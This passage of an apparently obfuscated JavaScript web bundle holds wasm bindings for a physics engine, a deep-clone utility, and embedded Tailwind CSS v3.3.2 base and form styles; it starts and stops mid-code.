bS1iaW5kZ2VuEjAuMi44MyAoZWJhNjkxZjM4KQ==')['buffer']); }); } function _0x48e69c() { return (function () { try { const _0x2d8ff7 = _0x4cb6f6['__wbindgen_add_to_stack_pointer'](-0x10); _0x4cb6f6['version'](_0x2d8ff7); var _0x19df30 = _0x306da3()[_0x2d8ff7 / 0x4 + 0x0], _0x490567 = _0x306da3()[_0x2d8ff7 / 0x4 + 0x1]; return _0x3b906f(_0x19df30, _0x490567); } finally { _0x4cb6f6['__wbindgen_add_to_stack_pointer'](0x10), _0x4cb6f6['__wbindgen_free'](_0x19df30, _0x490567); } }()); } _0x579d24['-'['charCodeAt'](0x0)] = 0x3e, _0x579d24['_'['charCodeAt'](0x0)] = 0x3f; var _0x2a0da8 = Object['freeze']({ '__proto__': null, 'version': _0x48e69c, 'Vector2': _0x49a753, 'VectorOps': _0x3e685e, 'RotationOps': _0x36d6e2, get 'RigidBodyType'() { return _0x322e6c; }, 'RigidBody': _0x34fab, 'RigidBodyDesc': _0x4445da, 'RigidBodySet': _0x3321ab, 'IntegrationParameters': _0x438ab5, get 'JointType'() { return _0xb03f97; }, get 'MotorModel'() { return _0x495adf; }, 'ImpulseJoint': _0xee98cd, 'UnitImpulseJoint': _0x4acb00, 'FixedImpulseJoint': _0x2f664b, 'PrismaticImpulseJoint': _0x49fbb3, 'RevoluteImpulseJoint': _0x50b132, 'JointData': _0x31607a, 'ImpulseJointSet': _0x18c1cb, 'MultibodyJoint': _0x24ef4a, 'UnitMultibodyJoint': _0x5dd5ca, 'FixedMultibodyJoint': _0x24db31, 'PrismaticMultibodyJoint': _0x9f39b6, 'RevoluteMultibodyJoint': _0x5e6cf1, 'MultibodyJointSet': _0x312564, get 'CoefficientCombineRule'() { return _0x1de744; }, 'CCDSolver': _0x3d82b0, 'IslandManager': _0x4040bd, 'BroadPhase': _0x1c8aa8, 'NarrowPhase': _0xfe69a5, 'TempContactManifold': _0x4db266, 'Shape': _0x34daab, get 'ShapeType'() { return _0x4aba84; }, 'Ball': _0x391e77, 'HalfSpace': _0x3a6d6c, 'Cuboid': _0x295669, 'RoundCuboid': _0x3f9345, 'Capsule': _0x3701b1, 'Segment': _0x59b7f0, 'Triangle': _0x18340d, 'RoundTriangle': _0x51504a, 'Polyline': _0x2938f9, 'TriMesh': _0x16b4c2, 'ConvexPolygon': _0x58a1ae, 'RoundConvexPolygon': _0x536869, 'Heightfield': _0x4a437c, get 'ActiveCollisionTypes'() { return _0x4ba6f5; }, 'Collider': _0x2f9ba3, get 'MassPropsMode'() { return _0x1370fa; }, 'ColliderDesc': _0x9be8ee, 'ColliderSet': _0x40e80f, get 'FeatureType'() { return _0x3dd9d3; }, 'Ray': _0x3c6bc4, 'RayIntersection': _0x2e41b3, 'RayColliderIntersection': _0x4cbd10, 'RayColliderToi': _0x3b0073, 'PointProjection': _0x4ada65, 'PointColliderProjection': _0x56e8af, 'ShapeTOI': _0x30e484, 'ShapeColliderTOI': _0x4929cd, 'ShapeContact': _0x221492, 'World': _0x3d3669, 'PhysicsPipeline': _0x1f5062, 'SerializationPipeline': _0x18322e, get 'ActiveEvents'() { return _0x3c4ba7; }, 'TempContactForceEvent': _0x3c107a, 'EventQueue': _0x39d060, get 'ActiveHooks'() { return _0x5456ae; }, get 'SolverFlags'() { return _0x579005; }, 'DebugRenderBuffers': _0x794771, 'DebugRenderPipeline': _0x3a68dd, get 'QueryFilterFlags'() { return _0x19c439; }, 'QueryPipeline': _0x5ca1c2, 'init': _0x2e4553, 'CharacterCollision': _0x141c82, 'KinematicCharacterController': _0x42492f }); }, 0x18a9: _0x3abc9c => { var _0x7f962 = (function () { 'use strict'; function _0x401c23(_0x4047b9, _0xcad695) { return null != _0xcad695 && _0x4047b9 instanceof _0xcad695; } var _0x5f50c5, _0x3c6fd8, _0x47eac6; try { _0x5f50c5 = Map; } catch (_0x5bb018) { _0x5f50c5 = function () { }; } try { _0x3c6fd8 = Set; } catch (_0x1155f5) { _0x3c6fd8 = function () { }; } try { _0x47eac6 = Promise; } catch (_0x35a3ac) { _0x47eac6 = function () { }; } function _0x3ec99d(_0x1ba93e, _0x24d213, _0x1d6fd7, _0xce5ad9, _0x28e565) { 'object' == typeof _0x24d213 && (_0x1d6fd7 = _0x24d213['depth'], _0xce5ad9 = _0x24d213['prototype'], _0x28e565 = _0x24d213['includeNonEnumerable'], _0x24d213 = _0x24d213['circular']); var _0x46a3f3 = [], _0x518752 = [], _0x47cf36 = 'undefined' != typeof Buffer; return void 0x0 === _0x24d213 && (_0x24d213 = !0x0), void 0x0 === _0x1d6fd7 && (_0x1d6fd7 = 0x1 / 0x0), function _0x265f07(_0x6d70b3, _0x356185) { if (null === _0x6d70b3) return null; if (0x0 === _0x356185) return _0x6d70b3; var _0x35fe5c, _0x221ce9; if ('object' != typeof _0x6d70b3) return _0x6d70b3; if (_0x401c23(_0x6d70b3, _0x5f50c5)) _0x35fe5c = new _0x5f50c5(); else { if (_0x401c23(_0x6d70b3, _0x3c6fd8)) _0x35fe5c = new _0x3c6fd8(); else { if (_0x401c23(_0x6d70b3, _0x47eac6)) _0x35fe5c = new _0x47eac6(function (_0x46d913, _0x53dc10) { _0x6d70b3['then'](function (_0x10b955) { _0x46d913(_0x265f07(_0x10b955, _0x356185 - 0x1)); }, function (_0x1a47ce) { _0x53dc10(_0x265f07(_0x1a47ce, _0x356185 - 0x1)); }); }); else { if (_0x3ec99d['__isArray'](_0x6d70b3)) _0x35fe5c = []; else { if (_0x3ec99d['__isRegExp'](_0x6d70b3)) _0x35fe5c = new RegExp(_0x6d70b3['source'], _0x534fa2(_0x6d70b3)), _0x6d70b3['lastIndex'] && (_0x35fe5c['lastIndex'] = _0x6d70b3['lastIndex']); else { if (_0x3ec99d['__isDate'](_0x6d70b3)) _0x35fe5c = new Date(_0x6d70b3['getTime']()); else { if (_0x47cf36 && Buffer['isBuffer'](_0x6d70b3)) return _0x35fe5c = Buffer['allocUnsafe'] ? Buffer['allocUnsafe'](_0x6d70b3['length']) : new Buffer(_0x6d70b3['length']), _0x6d70b3['copy'](_0x35fe5c), _0x35fe5c; _0x401c23(_0x6d70b3, Error) ? _0x35fe5c = Object['create'](_0x6d70b3) : void 0x0 === _0xce5ad9 ? (_0x221ce9 = Object['getPrototypeOf'](_0x6d70b3), _0x35fe5c = Object['create'](_0x221ce9)) : (_0x35fe5c = Object['create'](_0xce5ad9), _0x221ce9 = _0xce5ad9); } } } } } } if (_0x24d213) { var _0x1a5964 = _0x46a3f3['indexOf'](_0x6d70b3); if (-0x1 != _0x1a5964) return _0x518752[_0x1a5964]; _0x46a3f3['push'](_0x6d70b3), _0x518752['push'](_0x35fe5c); } for (var _0x285635 in (_0x401c23(_0x6d70b3, _0x5f50c5) && _0x6d70b3['forEach'](function (_0x5db99a, _0x4e35f9) { var _0x5ea7b1 = _0x265f07(_0x4e35f9, _0x356185 - 0x1), _0x1b1a8b = _0x265f07(_0x5db99a, _0x356185 - 0x1); _0x35fe5c['set'](_0x5ea7b1, _0x1b1a8b); }), _0x401c23(_0x6d70b3, _0x3c6fd8) && _0x6d70b3['forEach'](function (_0x3ac659) { var _0x1c8805 = _0x265f07(_0x3ac659, _0x356185 - 0x1); _0x35fe5c['add'](_0x1c8805); }), _0x6d70b3)) { var _0x3c92fc; _0x221ce9 && (_0x3c92fc = Object['getOwnPropertyDescriptor'](_0x221ce9, _0x285635)), _0x3c92fc && null == _0x3c92fc['set'] || (_0x35fe5c[_0x285635] = _0x265f07(_0x6d70b3[_0x285635], _0x356185 - 0x1)); } if (Object['getOwnPropertySymbols']) { var _0x436ca1 = Object['getOwnPropertySymbols'](_0x6d70b3); for (_0x285635 = 0x0; _0x285635 < _0x436ca1['length']; _0x285635++) { var _0x5065f9 = _0x436ca1[_0x285635]; (!(_0x1d7a8c = Object['getOwnPropertyDescriptor'](_0x6d70b3, _0x5065f9)) || _0x1d7a8c['enumerable'] || _0x28e565) && (_0x35fe5c[_0x5065f9] = _0x265f07(_0x6d70b3[_0x5065f9], _0x356185 - 0x1), _0x1d7a8c['enumerable'] || Object['defineProperty'](_0x35fe5c, _0x5065f9, { 'enumerable': !0x1 })); } } if (_0x28e565) { var _0x4f567b = Object['getOwnPropertyNames'](_0x6d70b3); for (_0x285635 = 0x0; _0x285635 < _0x4f567b['length']; _0x285635++) { var _0x1d7a8c, _0x55ff06 = _0x4f567b[_0x285635]; (_0x1d7a8c = Object['getOwnPropertyDescriptor'](_0x6d70b3, _0x55ff06)) && _0x1d7a8c['enumerable'] || (_0x35fe5c[_0x55ff06] = _0x265f07(_0x6d70b3[_0x55ff06], _0x356185 - 0x1), Object['defineProperty'](_0x35fe5c, _0x55ff06, { 'enumerable': !0x1 })); } } return _0x35fe5c; }(_0x1ba93e, _0x1d6fd7); } function _0x1f453c(_0x14afbd) { return Object['prototype']['toString']['call'](_0x14afbd); } function _0x534fa2(_0x1f1f02) { var _0x3061e2 = ''; return _0x1f1f02['global'] && (_0x3061e2 += 'g'), _0x1f1f02['ignoreCase'] && (_0x3061e2 += 'i'), _0x1f1f02['multiline'] && (_0x3061e2 += 'm'), _0x3061e2; } return _0x3ec99d['clonePrototype'] = function (_0x360029) { if (null === _0x360029) return null; var _0x365084 = function () { }; return _0x365084['prototype'] = _0x360029, new _0x365084(); }, _0x3ec99d['__objToStr'] = _0x1f453c, _0x3ec99d['__isDate'] = function (_0x1e0dde) { return 'object' == typeof _0x1e0dde && '[object\x20Date]' === _0x1f453c(_0x1e0dde); }, _0x3ec99d['__isArray'] = function (_0x1bc821) { return 'object' == typeof _0x1bc821 && '[object\x20Array]' === _0x1f453c(_0x1bc821); }, _0x3ec99d['__isRegExp'] = function (_0xc9e1e7) { return 'object' == typeof _0xc9e1e7 && '[object\x20RegExp]' === _0x1f453c(_0xc9e1e7); }, _0x3ec99d['__getRegExpFlags'] = _0x534fa2, _0x3ec99d; }()); _0x3abc9c['exports'] && (_0x3abc9c['exports'] = _0x7f962); }, 0x2442: (_0x277a90, _0x323807, _0x5a945f) => { 'use strict'; _0x5a945f['d'](_0x323807, { 'Z': () => _0x1dc5d0 }); var _0x5e63ad = _0x5a945f(0x1f91), _0x41b428 = _0x5a945f['n'](_0x5e63ad), _0x54876c = _0x5a945f(0xe3d), _0xfd276b = _0x5a945f['n'](_0x54876c), _0x19167c = _0x5a945f(0x683), _0x477e7c = _0x5a945f['n'](_0x19167c), _0x5dfe32 = new URL(_0x5a945f(0x21e1), _0x5a945f['b']), _0x32b231 = new URL(_0x5a945f(0x1068), _0x5a945f['b']), _0x2ffc42 = new URL(_0x5a945f(0xe11), _0x5a945f['b']), _0x54c27f = new URL(_0x5a945f(0x5d6), _0x5a945f['b']), _0x876b7b = new URL(_0x5a945f(0x161b), _0x5a945f['b']), _0x397d98 = _0xfd276b()(_0x41b428()), _0x13cb34 = _0x477e7c()(_0x5dfe32), _0x6ce440 = _0x477e7c()(_0x32b231), _0x587c7b = _0x477e7c()(_0x2ffc42), _0x7ebb12 = _0x477e7c()(_0x54c27f), _0x278450 = _0x477e7c()(_0x876b7b); _0x397d98['push']([_0x277a90['id'], '/*\x0a!\x20tailwindcss\x20v3.3.2\x20|\x20MIT\x20License\x20|\x20https://tailwindcss.com\x0a*//*\x0a1.\x20Prevent\x20padding\x20and\x20border\x20from\x20affecting\x20element\x20width.\x20(https://github.com/mozdevs/cssremedy/issues/4)\x0a2.\x20Allow\x20adding\x20a\x20border\x20to\x20an\x20element\x20by\x20just\x20adding\x20a\x20border-width.\x20(https://github.com/tailwindcss/tailwindcss/pull/116)\x0a*/\x0a\x0a*,\x0a::before,\x0a::after\x20{\x0a\x20\x20box-sizing:\x20border-box;\x20/*\x201\x20*/\x0a\x20\x20border-width:\x200;\x20/*\x202\x20*/\x0a\x20\x20border-style:\x20solid;\x20/*\x202\x20*/\x0a\x20\x20border-color:\x20#E5E7EB;\x20/*\x202\x20*/\x0a}\x0a\x0a::before,\x0a::after\x20{\x0a\x20\x20--tw-content:\x20\x27\x27;\x0a}\x0a\x0a/*\x0a1.\x20Use\x20a\x20consistent\x20sensible\x20line-height\x20in\x20all\x20browsers.\x0a2.\x20Prevent\x20adjustments\x20of\x20font\x20size\x20after\x20orientation\x20changes\x20in\x20iOS.\x0a3.\x20Use\x20a\x20more\x20readable\x20tab\x20size.\x0a4.\x20Use\x20the\x20user\x27s\x20configured\x20`sans`\x20font-family\x20by\x20default.\x0a5.\x20Use\x20the\x20user\x27s\x20configured\x20`sans`\x20font-feature-settings\x20by\x20default.\x0a6.\x20Use\x20the\x20user\x27s\x20configured\x20`sans`\x20font-variation-settings\x20by\x20default.\x0a*/\x0a\x0ahtml\x20{\x0a\x20\x20line-height:\x201.5;\x20/*\x201\x20*/\x0a\x20\x20-webkit-text-size-adjust:\x20100%;\x20/*\x202\x20*/\x0a\x20\x20-moz-tab-size:\x204;\x20/*\x203\x20*/\x0a\x20\x20-o-tab-size:\x204;\x0a\x20\x20\x20\x20\x20tab-size:\x204;\x20/*\x203\x20*/\x0a\x20\x20font-family:\x20ui-sans-serif,\x20system-ui,\x20-apple-system,\x20BlinkMacSystemFont,\x20\x22Segoe\x20UI\x22,\x20Roboto,\x20\x22Helvetica\x20Neue\x22,\x20Arial,\x20\x22Noto\x20Sans\x22,\x20sans-serif,\x20\x22Apple\x20Color\x20Emoji\x22,\x20\x22Segoe\x20UI\x20Emoji\x22,\x20\x22Segoe\x20UI\x20Symbol\x22,\x20\x22Noto\x20Color\x20Emoji\x22;\x20/*\x204\x20*/\x0a\x20\x20font-feature-settings:\x20normal;\x20/*\x205\x20*/\x0a\x20\x20font-variation-settings:\x20normal;\x20/*\x206\x20*/\x0a}\x0a\x0a/*\x0a1.\x20Remove\x20the\x20margin\x20in\x20all\x20browsers.\x0a2.\x20Inherit\x20line-height\x20from\x20`html`\x20so\x20users\x20can\x20set\x20them\x20as\x20a\x20class\x20directly\x20on\x20the\x20`html`\x20element.\x0a*/\x0a\x0abody\x20{\x0a\x20\x20margin:\x200;\x20/*\x201\x20*/\x0a\x20\x20line-height:\x20inherit;\x20/*\x202\x20*/\x0a}\x0a\x0a/*\x0a1.\x20Add\x20the\x20correct\x20height\x20in\x20Firefox.\x0a2.\x20Correct\x20the\x20inheritance\x20of\x20border\x20color\x20in\x20Firefox.\x20(https://bugzilla.mozilla.org/show_bug.cgi?id=190655)\x0a3.\x20Ensure\x20horizontal\x20rules\x20are\x20visible\x20by\x20default.\x0a*/\x0a\x0ahr\x20{\x0a\x20\x20height:\x200;\x20/*\x201\x20*/\x0a\x20\x20color:\x20inherit;\x20/*\x202\x20*/\x0a\x20\x20border-top-width:\x201px;\x20/*\x203\x20*/\x0a}\x0a\x0a/*\x0aAdd\x20the\x20correct\x20text\x20decoration\x20in\x20Chrome,\x20Edge,\x20and\x20Safari.\x0a*/\x0a\x0aabbr:where([title])\x20{\x0a\x20\x20-webkit-text-decoration:\x20underline\x20dotted;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20text-decoration:\x20underline\x20dotted;\x0a}\x0a\x0a/*\x0aRemove\x20the\x20default\x20font\x20size\x20and\x20weight\x20for\x20headings.\x0a*/\x0a\x0ah1,\x0ah2,\x0ah3,\x0ah4,\x0ah5,\x0ah6\x20{\x0a\x20\x20font-size:\x20inherit;\x0a\x20\x20font-weight:\x20inherit;\x0a}\x0a\x0a/*\x0aReset\x20links\x20to\x20optimize\x20for\x20opt-in\x20styling\x20instead\x20of\x20opt-out.\x0a*/\x0a\x0aa\x20{\x0a\x20\x20color:\x20inherit;\x0a\x20\x20text-decoration:\x20inherit;\x0a}\x0a\x0a/*\x0aAdd\x20the\x20correct\x20font\x20weight\x20in\x20Edge\x20and\x20Safari.\x0a*/\x0a\x0ab,\x0astrong\x20{\x0a\x20\x20font-weight:\x20bolder;\x0a}\x0a\x0a/*\x0a1.\x20Use\x20the\x20user\x27s\x20configured\x20`mono`\x20font\x20family\x20by\x20default.\x0a2.\x20Correct\x20the\x20odd\x20`em`\x20font\x20sizing\x20in\x20all\x20browsers.\x0a*/\x0a\x0acode,\x0akbd,\x0asamp,\x0apre\x20{\x0a\x20\x20font-family:\x20ui-monospace,\x20SFMono-Regular,\x20Menlo,\x20Monaco,\x20Consolas,\x20\x22Liberation\x20Mono\x22,\x20\x22Courier\x20New\x22,\x20monospace;\x20/*\x201\x20*/\x0a\x20\x20font-size:\x201em;\x20/*\x202\x20*/\x0a}\x0a\x0a/*\x0aAdd\x20the\x20correct\x20font\x20size\x20in\x20all\x20browsers.\x0a*/\x0a\x0asmall\x20{\x0a\x20\x20font-size:\x2080%;\x0a}\x0a\x0a/*\x0aPrevent\x20`sub`\x20and\x20`sup`\x20elements\x20from\x20affecting\x20the\x20line\x20height\x20in\x20all\x20browsers.\x0a*/\x0a\x0asub,\x0asup\x20{\x0a\x20\x20font-size:\x2075%;\x0a\x20\x20line-height:\x200;\x0a\x20\x20position:\x20relative;\x0a\x20\x20vertical-align:\x20baseline;\x0a}\x0a\x0asub\x20{\x0a\x20\x20bottom:\x20-0.25em;\x0a}\x0a\x0asup\x20{\x0a\x20\x20top:\x20-0.5em;\x0a}\x0a\x0a/*\x0a1.\x20Remove\x20text\x20indentation\x20from\x20table\x20contents\x20in\x20Chrome\x20and\x20Safari.\x20(https://bugs.chromium.org/p/chromium/issues/detail?id=999088,\x20https://bugs.webkit.org/show_bug.cgi?id=201297)\x0a2.\x20Correct\x20table\x20border\x20color\x20inheritance\x20in\x20all\x20Chrome\x20and\x20Safari.\x20(https://bugs.chromium.org/p/chromium/issues/detail?id=935729,\x20https://bugs.webkit.org/show_bug.cgi?id=195016)\x0a3.\x20Remove\x20gaps\x20between\x20table\x20borders\x20by\x20default.\x0a*/\x0a\x0atable\x20{\x0a\x20\x20text-indent:\x200;\x20/*\x201\x20*/\x0a\x20\x20border-color:\x20inherit;\x20/*\x202\x20*/\x0a\x20\x20border-collapse:\x20collapse;\x20/*\x203\x20*/\x0a}\x0a\x0a/*\x0a1.\x20Change\x20the\x20font\x20styles\x20in\x20all\x20browsers.\x0a2.\x20Remove\x20the\x20margin\x20in\x20Firefox\x20and\x20Safari.\x0a3.\x20Remove\x20default\x20padding\x20in\x20all\x20browsers.\x0a*/\x0a\x0abutton,\x0ainput,\x0aoptgroup,\x0aselect,\x0atextarea\x20{\x0a\x20\x20font-family:\x20inherit;\x20/*\x201\x20*/\x0a\x20\x20font-size:\x20100%;\x20/*\x201\x20*/\x0a\x20\x20font-weight:\x20inherit;\x20/*\x201\x20*/\x0a\x20\x20line-height:\x20inherit;\x20/*\x201\x20*/\x0a\x20\x20color:\x20inherit;\x20/*\x201\x20*/\x0a\x20\x20margin:\x200;\x20/*\x202\x20*/\x0a\x20\x20padding:\x200;\x20/*\x203\x20*/\x0a}\x0a\x0a/*\x0aRemove\x20the\x20inheritance\x20of\x20text\x20transform\x20in\x20Edge\x20and\x20Firefox.\x0a*/\x0a\x0abutton,\x0aselect\x20{\x0a\x20\x20text-transform:\x20none;\x0a}\x0a\x0a/*\x0a1.\x20Correct\x20the\x20inability\x20to\x20style\x20clickable\x20types\x20in\x20iOS\x20and\x20Safari.\x0a2.\x20Remove\x20default\x20button\x20styles.\x0a*/\x0a\x0abutton,\x0a[type=\x27button\x27],\x0a[type=\x27reset\x27],\x0a[type=\x27submit\x27]\x20{\x0a\x20\x20-webkit-appearance:\x20button;\x20/*\x201\x20*/\x0a\x20\x20background-color:\x20transparent;\x20/*\x202\x20*/\x0a\x20\x20background-image:\x20none;\x20/*\x202\x20*/\x0a}\x0a\x0a/*\x0aUse\x20the\x20modern\x20Firefox\x20focus\x20style\x20for\x20all\x20focusable\x20elements.\x0a*/\x0a\x0a:-moz-focusring\x20{\x0a\x20\x20outline:\x20auto;\x0a}\x0a\x0a/*\x0aRemove\x20the\x20additional\x20`:invalid`\x20styles\x20in\x20Firefox.\x20(https://github.com/mozilla/gecko-dev/blob/2f9eacd9d3d995c937b4251a5557d95d494c9be1/layout/style/res/forms.css#L728-L737)\x0a*/\x0a\x0a:-moz-ui-invalid\x20{\x0a\x20\x20box-shadow:\x20none;\x0a}\x0a\x0a/*\x0aAdd\x20the\x20correct\x20vertical\x20alignment\x20in\x20Chrome\x20and\x20Firefox.\x0a*/\x0a\x0aprogress\x20{\x0a\x20\x20vertical-align:\x20baseline;\x0a}\x0a\x0a/*\x0aCorrect\x20the\x20cursor\x20style\x20of\x20increment\x20and\x20decrement\x20buttons\x20in\x20Safari.\x0a*/\x0a\x0a::-webkit-inner-spin-button,\x0a::-webkit-outer-spin-button\x20{\x0a\x20\x20height:\x20auto;\x0a}\x0a\x0a/*\x0a1.\x20Correct\x20the\x20odd\x20appearance\x20in\x20Chrome\x20and\x20Safari.\x0a2.\x20Correct\x20the\x20outline\x20style\x20in\x20Safari.\x0a*/\x0a\x0a[type=\x27search\x27]\x20{\x0a\x20\x20-webkit-appearance:\x20textfield;\x20/*\x201\x20*/\x0a\x20\x20outline-offset:\x20-2px;\x20/*\x202\x20*/\x0a}\x0a\x0a/*\x0aRemove\x20the\x20inner\x20padding\x20in\x20Chrome\x20and\x20Safari\x20on\x20macOS.\x0a*/\x0a\x0a::-webkit-search-decoration\x20{\x0a\x20\x20-webkit-appearance:\x20none;\x0a}\x0a\x0a/*\x0a1.\x20Correct\x20the\x20inability\x20to\x20style\x20clickable\x20types\x20in\x20iOS\x20and\x20Safari.\x0a2.\x20Change\x20font\x20properties\x20to\x20`inherit`\x20in\x20Safari.\x0a*/\x0a\x0a::-webkit-file-upload-button\x20{\x0a\x20\x20-webkit-appearance:\x20button;\x20/*\x201\x20*/\x0a\x20\x20font:\x20inherit;\x20/*\x202\x20*/\x0a}\x0a\x0a/*\x0aAdd\x20the\x20correct\x20display\x20in\x20Chrome\x20and\x20Safari.\x0a*/\x0a\x0asummary\x20{\x0a\x20\x20display:\x20list-item;\x0a}\x0a\x0a/*\x0aRemoves\x20the\x20default\x20spacing\x20and\x20border\x20for\x20appropriate\x20elements.\x0a*/\x0a\x0ablockquote,\x0adl,\x0add,\x0ah1,\x0ah2,\x0ah3,\x0ah4,\x0ah5,\x0ah6,\x0ahr,\x0afigure,\x0ap,\x0apre\x20{\x0a\x20\x20margin:\x200;\x0a}\x0a\x0afieldset\x20{\x0a\x20\x20margin:\x200;\x0a\x20\x20padding:\x200;\x0a}\x0a\x0alegend\x20{\x0a\x20\x20padding:\x200;\x0a}\x0a\x0aol,\x0aul,\x0amenu\x20{\x0a\x20\x20list-style:\x20none;\x0a\x20\x20margin:\x200;\x0a\x20\x20padding:\x200;\x0a}\x0a\x0a/*\x0aPrevent\x20resizing\x20textareas\x20horizontally\x20by\x20default.\x0a*/\x0a\x0atextarea\x20{\x0a\x20\x20resize:\x20vertical;\x0a}\x0a\x0a/*\x0a1.\x20Reset\x20the\x20default\x20placeholder\x20opacity\x20in\x20Firefox.\x20(https://github.com/tailwindlabs/tailwindcss/issues/3300)\x0a2.\x20Set\x20the\x20default\x20placeholder\x20color\x20to\x20the\x20user\x27s\x20configured\x20gray\x20400\x20color.\x0a*/\x0a\x0ainput::-moz-placeholder,\x20textarea::-moz-placeholder\x20{\x0a\x20\x20opacity:\x201;\x20/*\x201\x20*/\x0a\x20\x20color:\x20#9CA3AF;\x20/*\x202\x20*/\x0a}\x0a\x0ainput::placeholder,\x0atextarea::placeholder\x20{\x0a\x20\x20opacity:\x201;\x20/*\x201\x20*/\x0a\x20\x20color:\x20#9CA3AF;\x20/*\x202\x20*/\x0a}\x0a\x0a/*\x0aSet\x20the\x20default\x20cursor\x20for\x20buttons.\x0a*/\x0a\x0abutton,\x0a[role=\x22button\x22]\x20{\x0a\x20\x20cursor:\x20pointer;\x0a}\x0a\x0a/*\x0aMake\x20sure\x20disabled\x20buttons\x20don\x27t\x20get\x20the\x20pointer\x20cursor.\x0a*/\x0a:disabled\x20{\x0a\x20\x20cursor:\x20default;\x0a}\x0a\x0a/*\x0a1.\x20Make\x20replaced\x20elements\x20`display:\x20block`\x20by\x20default.\x20(https://github.com/mozdevs/cssremedy/issues/14)\x0a2.\x20Add\x20`vertical-align:\x20middle`\x20to\x20align\x20replaced\x20elements\x20more\x20sensibly\x20by\x20default.\x20(https://github.com/jensimmons/cssremedy/issues/14#issuecomment-634934210)\x0a\x20\x20\x20This\x20can\x20trigger\x20a\x20poorly\x20considered\x20lint\x20error\x20in\x20some\x20tools\x20but\x20is\x20included\x20by\x20design.\x0a*/\x0a\x0aimg,\x0asvg,\x0avideo,\x0acanvas,\x0aaudio,\x0aiframe,\x0aembed,\x0aobject\x20{\x0a\x20\x20display:\x20block;\x20/*\x201\x20*/\x0a\x20\x20vertical-align:\x20middle;\x20/*\x202\x20*/\x0a}\x0a\x0a/*\x0aConstrain\x20images\x20and\x20videos\x20to\x20the\x20parent\x20width\x20and\x20preserve\x20their\x20intrinsic\x20aspect\x20ratio.\x20(https://github.com/mozdevs/cssremedy/issues/14)\x0a*/\x0a\x0aimg,\x0avideo\x20{\x0a\x20\x20max-width:\x20100%;\x0a\x20\x20height:\x20auto;\x0a}\x0a\x0a/*\x20Make\x20elements\x20with\x20the\x20HTML\x20hidden\x20attribute\x20stay\x20hidden\x20by\x20default\x20*/\x0a[hidden]\x20{\x0a\x20\x20display:\x20none;\x0a}\x0a\x0a[type=\x27text\x27],[type=\x27email\x27],[type=\x27url\x27],[type=\x27password\x27],[type=\x27number\x27],[type=\x27date\x27],[type=\x27datetime-local\x27],[type=\x27month\x27],[type=\x27search\x27],[type=\x27tel\x27],[type=\x27time\x27],[type=\x27week\x27],[multiple],textarea,select\x20{\x0a\x20\x20-webkit-appearance:\x20none;\x0a\x20\x20\x20\x20\x20-moz-appearance:\x20none;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20appearance:\x20none;\x0a\x20\x20background-color:\x20#fff;\x0a\x20\x20border-color:\x20#6B7280;\x0a\x20\x20border-width:\x201px;\x0a\x20\x20border-radius:\x200px;\x0a\x20\x20padding-top:\x200.5rem;\x0a\x20\x20padding-right:\x200.75rem;\x0a\x20\x20padding-bottom:\x200.5rem;\x0a\x20\x20padding-left:\x200.75rem;\x0a\x20\x20font-size:\x201rem;\x0a\x20\x20line-height:\x201.5rem;\x0a\x20\x20--tw-shadow:\x200\x200\x20#0000;\x0a}\x0a\x0a[type=\x27text\x27]:focus,\x20[type=\x27email\x27]:focus,\x20[type=\x27url\x27]:focus,\x20[type=\x27password\x27]:focus,\x20[type=\x27number\x27]:focus,\x20[type=\x27date\x27]:focus,\x20[type=\x27datetime-local\x27]:focus,\x20[type=\x27month\x27]:focus,\x20[type=\x27search\x27]:focus,\x20[type=\x27tel\x27]:focus,\x20[type=\x27time\x27]:focus,\x20[type=\x27week\x27]:focus,\x20[multiple]:focus,\x20textarea:focus,\x20select:focus\x20{\x0a\x20\x20outline:\x202px\x20solid\x20transparent;\x0a\x20\x20outline-offset:\x202px;\x0a\x20\x20--tw-ring-inset:\x20var(--tw-empty,/*!*/\x20/*!*/);\x0a\x20\x20--tw-ring-offset-width:\x200px;\x0a\x20\x20--tw-ring-offset-color:\x20#fff;\x0a\x20\x20--tw-ring-color:\x20#1C64F2;\x0a\x20\x20--tw-ring-offset-shadow:\x20var(--tw-ring-inset)\x200\x200\x200\x20var(--tw-ring-offset-width)\x20var(--tw-ring-offset-color);\x0a\x20\x20--tw-ring-shadow:\x20var(--tw-ring-inset)\x200\x200\x200\x20calc(1px\x20+\x20var(--tw-ring-offset-width))\x20var(--tw-ring-color);\x0a\x20\x20box-shadow:\x20var(--tw-ring-offset-shadow),\x20var(--tw-ring-shadow),\x20var(--tw-shadow);\x0a\x20\x20border-color:\x20#1C64F2;\x0a}\x0a\x0ainput::-moz-placeholder,\x20textarea::-moz-placeholder\x20{\x0a\x20\x20color:\x20#6B7280;\x0a\x20\x20opacity:\x201;\x0a}\x0a\x0ainput::placeholder,textarea::placeholder\x20{\x0a\x20\x20color:\x20#6B7280;\x0a\x20\x20opacity:\x201;\x0a}\x0a\x0a::-webkit-datetime-edit-fields-wrapper\x20{\x0a\x20\x20padding:\x200;\x0a}\x0a\x0a::-webkit-date-and-time-value\x20{\x0a\x20\x20min-height:\x201.5em;\x0a}\x0a\x0aselect:not([size])\x20{\x0a\x20\x20background-image:\x20url(' + _0x13cb34 + ');\x0a\x20\x20background-position:\x20right\x200.75rem\x20center;\x0a\x20\x20background-repeat:\x20no-repeat;\x0a\x20\x20background-size:\x200.75em\x200.75em;\x0a\x20\x20padding-right:\x202.5rem;\x0a\x20\x20-webkit-print-color-adjust:\x20exact;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20print-color-adjust:\x20exact;\x0a}\x0a\x0a[multiple]\x20{\x0a\x20\x20background-image:\x20initial;\x0a\x20\x20background-position:\x20initial;\x0a\x20\x20background-repeat:\x20unset;\x0a\x20\x20background-size:\x20initial;\x0a\x20\x20padding-right:\x200.75rem;\x0a\x20\x20-webkit-print-color-adjust:\x20unset;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20print-color-adjust:\x20unset;\x0a}\x0a\x0a[type=\x27checkbox\x27],[type=\x27radio\x27]\x20{\x0a\x20\x20-webkit-appearance:\x20none;\x0a\x20\x20\x20\x20\x20-moz-appearance:\x20none;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20appearance:\x20none;\x0a\x20\x20padding:\x200;\x0a\x20\x20-webkit-print-color-adjust:\x20exact;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20print-color-adjust:\x20exact;\x0a\x20\x20display:\x20inline-block;\x0a\x20\x20vertical-align:\x20middle;\x0a\x20\x20background-origin:\x20border-box;\x0a\x20\x20-webkit-user-selec